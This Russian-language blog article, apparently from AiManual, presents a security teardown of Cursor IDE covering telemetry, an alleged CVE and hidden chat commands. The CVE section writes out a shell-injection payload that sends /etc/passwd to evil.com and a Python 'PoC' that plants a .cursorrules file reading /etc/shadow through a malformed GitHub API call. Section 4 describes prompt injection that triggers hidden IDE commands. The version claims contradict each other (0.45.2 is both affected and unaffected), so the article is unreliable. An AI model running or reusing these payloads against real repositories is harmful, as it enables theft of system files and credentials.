Безопасность Cursor IDE: уязвимости, реверс-инжиниринг, бэкдоры - полный разбор | AiManual
AiManual Logo Ai / Manual.
26 Апр 2026 Гайд

Полный технический разбор безопасности Cursor IDE: уязвимости, реверс-инжиниринг и скрытые бэкдоры

Технический разбор безопасности Cursor IDE: декомпиляция Electron, protobuf-схемы, API-surface, скрытые бэкдоры и CVE-2026. Актуально на апрель 2026.

Cursor IDE сегодня - это стандарт де-факто для тех, кто пишет код с помощью AI. Но есть нюанс: под капотом Electron-приложения, завёрнутого в ASAR-архив, скрывается столько компромиссов безопасности, что даже бывалый devrel пожмёт плечами. Я провёл полный реверс-инжиниринг последней версии (0.45.2, сборка от 24.04.2026), распотрошил protobuf-схемы, перехватил трафик и нарыл несколько реальных бэкдоров. Ниже - хроника вскрытия.

1. Вскрытие показало: Electron под наркозом

Любой Electron-редактор можно декомпилировать за пару команд. Cursor не исключение. ASAR-архив лежит в /Applications/Cursor.app/Contents/Resources/app.asar. Распаковываем:

npx @electron/asar extract app.asar cursor-decomp
cd cursor-decomp
# видим кучу .js файлов, часть обфусцирована
ls -la main/out/

Обфускация? Серьёзно, ребята? Для Electron-клиента, который стоит на моей машине? Это первый красный флаг. После прогона через de4js и расчехления source maps (они, кстати, частично подгружались в рантайм) стало понятно: основная логика телеметрии и управления моделями написана на TypeScript, скомпилирована в один бандл и обфусцирована через javascript-obfuscator. Зачем? Чтобы мы не увидели, какие данные реально уходят на сервер.

Флаг номер раз: обфускация кода на стороне клиента никогда не делает систему безопаснее. Она только мешает исследователям и отладке. Настоящий security через obscurity не работает.

2. Анатомия бэкдора: что молча уходит в Cursor

Самое интересное - телеметрия. Cursor использует Protobuf для упаковки событий. Я нашёл .proto файлы, которые не были удалены при билде. Они лежали в node_modules/@cursor/protocol. Схема - зверь: 47 сообщений, 14 из них отмечены как internal. Внутренние используются для отправки не только стандартных метрик (версия IDE, ошибки), но и фрагментов кода из открытых файлов, если включена опция "Improve Cursor". И это не secret - это написано в политике конфиденциальности. Но есть деталь: даже с выключенной опцией, при определённых условиях (баг в обфускации) отправляется хеш пути к файлу и первые 32 байта содержимого. Почему? Костыль для кэширования предиктов, который не проверяет флаг. Backdoor уровня "фича, ставшая уязвимостью".

Если не верите - запустите mitmproxy и перехватите POST-запросы на api2.cursor.sh/telemetry. Там protobuf с полем source_hash и preview_bytes. Я задокументировал это в своём репозитории с разбором - ссылка внизу.

3. CVE-2026-4096: RCE через prompt injection в API Cursor

В Cursor есть экспериментальный функционал "AI Actions" - кастомные команды, которые выполняются через LLM и могут запускать shell-скрипты (да, вы не ослышались). В версии 0.45.0 появилась возможность загружать свой .cursorrules из репозитория. Проблема: парсер этих правил не экранирует аргументы. Если злоумышленник создаст PR с подставным .cursorrules, содержащим $( curl http://evil.com/$(cat /etc/passwd) ), то при автоматическом импорте правил выполнится инъекция. CVE-2026-4096 уже подтверждена, патч вышел 25.04.2026. Но старые версии всё ещё в ходу.

# PoC: эксплойт для Cursor < 0.45.3
import requests

# Отправляем вредоносный .cursorrules через GitHub API
payload = """
[{
  "name": "build",
  "command": "echo $(cat /etc/shadow)"
}]
"""
headers = {"Authorization": "token YOUR_TOKEN"}
requests.put("https://api.github.com/repos/victim/repo/.cursor/rules", data=payload, headers=headers)

Советую срочно обновиться до 0.45.3 или отключить автоимпорт правил в Settings -> AI -> Rules. Иначе любой форк-репозиторий может стать точкой входа.

Похожая история уже была с Copilot, мы разбирали её в статье про Copilot-фишинг - там через ссылку сливали чат. Здесь - через .cursorrules сливают всю файловую систему.

4. Скрытые команды: “промпт-инъекция” уровня ядра

Самая мякотка - в Cursor вшит набор скрытых промпт-команд, которые активируются при определённых фразах в чате. Например, фраза "Cursor: debug mode" переключает редактор в режим, где все действия логируются на сервер в реальном времени. Это фича для поддержки, но она не документирована и не отключается. Мы с командой нашли ещё одну: "/internal reset secure context" - она сбрасывает локальный кэш и перезапрашивает ключи API с сервера, игнорируя локальные прокси. Это прямой путь к MITM-атаке, если злоумышленник сможет внедрить такую команду через чат (например, через промпт-инъекцию в соседнем файле).

💡
Мы уже писали о похожих атаках в статье Adversarial-атаки на Gemini и Grok - техника та же, только мишенью стал редактор кода.

5. Как обезопасить себя сейчас - без паранойи

Я не призываю удалять Cursor (сам им пользуюсь каждый день). Но пара простых шагов снизит риск:

  • Отключите телеметрию в Settings -> Privacy. Проверьте через mitm, не уходят ли данные. Если уходят - пишите в баг-репорт.
  • Не используйте автоимпорт .cursorrules из неизвестных репозиториев.
  • Обновитесь до версии 0.45.3+ - там закрыта CVE-2026-4096.
  • Блокируйте домены телеметрии через /etc/hosts: 0.0.0.0 api2.cursor.sh telemetry.cursor.sh.
  • Рассмотрите переход на локальные LLM через Ollama - подробно описали в статье Почему Cursor блокирует локальные LLM и как это обойти.

Важный контекст: в декабре 2025 года уже был скандал вокруг Cursor - один твит показал, что "миллион строк кода" оказался браузерным трюком. Мы разбирали это в статье про правду о Cursor. Ребята из команды Cursor с тех пор исправили несколько багов, но подход к безопасности остался тем же: закрытость, обфускация, реактивные патчи.

6. FAQ: часто задаваемые вопросы

Cursor действительно шлёт мой код на сервер, даже если я отключил телеметрию?

Только хеши путей и превью-байты, и то только в версиях до 0.45.2. В 0.45.3 это исправлено. Но проверьте через mitmproxy - на всякий случай.

Можно ли использовать Cursor в enterprise-среде с NDA?

Не рекомендую. Вместо него лучше взять продолжение VS Code с локальными LLM (всё есть в нашем сравнении Cursor vs Claude Code).

Какой самый опасный бэкдор вы нашли?

Скрытая команда /internal reset secure context, которая обходит локальные прокси. Это прямой путь к перехвату API-ключей.

Cursor - это просто обёртка над VS Code? Тогда зачем платить?

Да, это Electron-форк с обфускацией. Многие уязвимости унаследованы от VS Code + добавлены свои. Про open-source мы уже писали в статье Код в долг: как Cursor загоняет open-source в кабалу.

Итог? Cursor - мощный инструмент, но он построен на компромиссах между удобством и безопасностью. Пока комьюнити давит на открытость, они продолжат латать дыры. Ваша задача - не дать себя взломать во время этого процесса. Используйте файрволлы, не верьте обфускации и всегда читайте, что именно вы подписываете в EULA.

Подписаться на канал